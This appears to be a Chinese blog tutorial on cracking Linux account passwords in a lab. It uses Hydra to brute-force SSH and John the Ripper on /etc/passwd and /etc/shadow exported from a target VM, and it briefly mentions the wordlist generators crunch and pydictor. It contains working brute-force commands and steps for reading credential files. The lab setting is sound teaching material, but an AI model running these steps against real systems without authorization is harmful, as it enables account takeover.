使用Hydra以及John对Linux账户密码破解-crunch以及pydictor字典生成工具

一、使用Hydra破解弱密码

1.介绍:

Hydra是一款非常强大的暴力破解工具, 它是由著名的黑客组织THC开发的一款开源暴力破解工具。Hydra是一个验证性质的工具, 主要目的是:展示安全研究人员从远程获取一个系统认证权限。

2.参数:

3.操作:

  1. kali内通过命令“echo ```要向字典内添加的内容```>> passlist.txt/userlist.txt”创建用户名和密码的字典并向字典文档里添加内容(passlist.txt和userlist.txt),因为本实验只是为了了解操作,所以自己创建简陋的字典使用也没关系,创建之后可以通过命令“cat ``````”查看文件内容。

  • echo root >> passlist.txt

  • echo 123456 >> passlist.txt

  • echo admin >> passlist.txt

  • echo admin@123 >> userlist.txt

  • echo root >> userlist.txt

  • echo admin >> userlist.txt

  • echo root123 >> userlist.txt

  1. 靶机内通过命令查看ip。

  • ip add

  1. 使用命令“hydra -L userlist.txt -P passlist.txt -f ```ip```(通过ip addr在靶机内查看ip) ssh -t ```1```(表示进程数,可以修改,会使破解速度改变) -v”开始进行破解。

  • hydra -L userlist.txt -P passlist.txt -f 192.168.222.137 ssh -t 1 -v

  1. 密码破解成功!

二、使用John the ripper破解弱密码:

1.说明:

使用John工具需掌握两个命令, 分别是:unshadow和john命令。

  • unshadow命令可以将系统中已经加密过的用户文件与密码文件相互组合,生成可被爆破的文本。

  • john命令是该工具的破解命令。

在Kali Linux下默认安装了John工具, 在爆破过程中将使用默认字典进行匹配爆破,默认字典存储在Kali Linux下的/usr/share/john/password.lst文件中。

当然我们也可以自己创建弱密码字典(例如:crunch、pydictor等工具)。

crunch 是创建密码字典工具,按照指定的规则生成密码字典,可以根据情况灵活的生成字典。

pydictor是一个使用python语言开发,遵循GPLv3协议的开源命令行工具,主要用来帮助安全研究人员生成称心如意的暴力破解字典。

2.操作:

  1. 靶机内通过命令查看靶机ip。

  • ip add

  1. kali内使用namp命令扫描靶机存在的端口,可以发现存在ssh端口。

  • nmap + ip

  1. 靶机内为靶机创建用户abc并设置密码。

  • useradd abc;

  • passwd abc;

  1. 靶机内通过命令将两个目标文件导出。

  • cat /etc/passwd >> pass1.txt;

  • cat /etc/shadow >> pass2.txt;

  1. kali内配置kali的ssh服务:

  • 输入命令“vim /etc/ssh/sshd_config”打开配置页面;

  • 输入“:set nu”显示行号;

  • 键盘敲击“i”进入编辑模式,将第34行的“#”删除,将后面的“prohibit-password”改为“yes”;

  • 将第39行的“#删除”;

  • 按“ESC”键后输入“:q!”保存设置并退出编辑模式;

  1. kali内重启ssh配置文件,开启ssh服务:

  • 输入命令“/etc/init.d/ssh restart”后输入kali的密码授权服务;

  • 输入命令“service ssh start”后输入kali的密码开启服务;

  1. kali内查看kali的ip为接下来传输文件做准备。

  • ip add

  1. 靶机内将之前步骤中导出的两个文件传入kali内。

  • 输入kali的密码;

  1. 进入kali内将两个文件提取到test_passwd中。

  • unshadow pass1.txt pass2.txt > test_passwd

  1. kali内使用 John 破解密码。

  • 输入“john --wordlist=/usr/share/john/password.lst test_passwd”命令;

  1. 密码破解成功!

3.注意:

破解过的用户的密码保存在/home文件夹下的隐藏文件./john/john.pot里,删除后才可以再次运行。操作过程如下:

三、相关文章

  1. kali中开启ssh连接功能:

  1. 黑客工具之hydra详细使用教程

  • 3
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ranzi.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值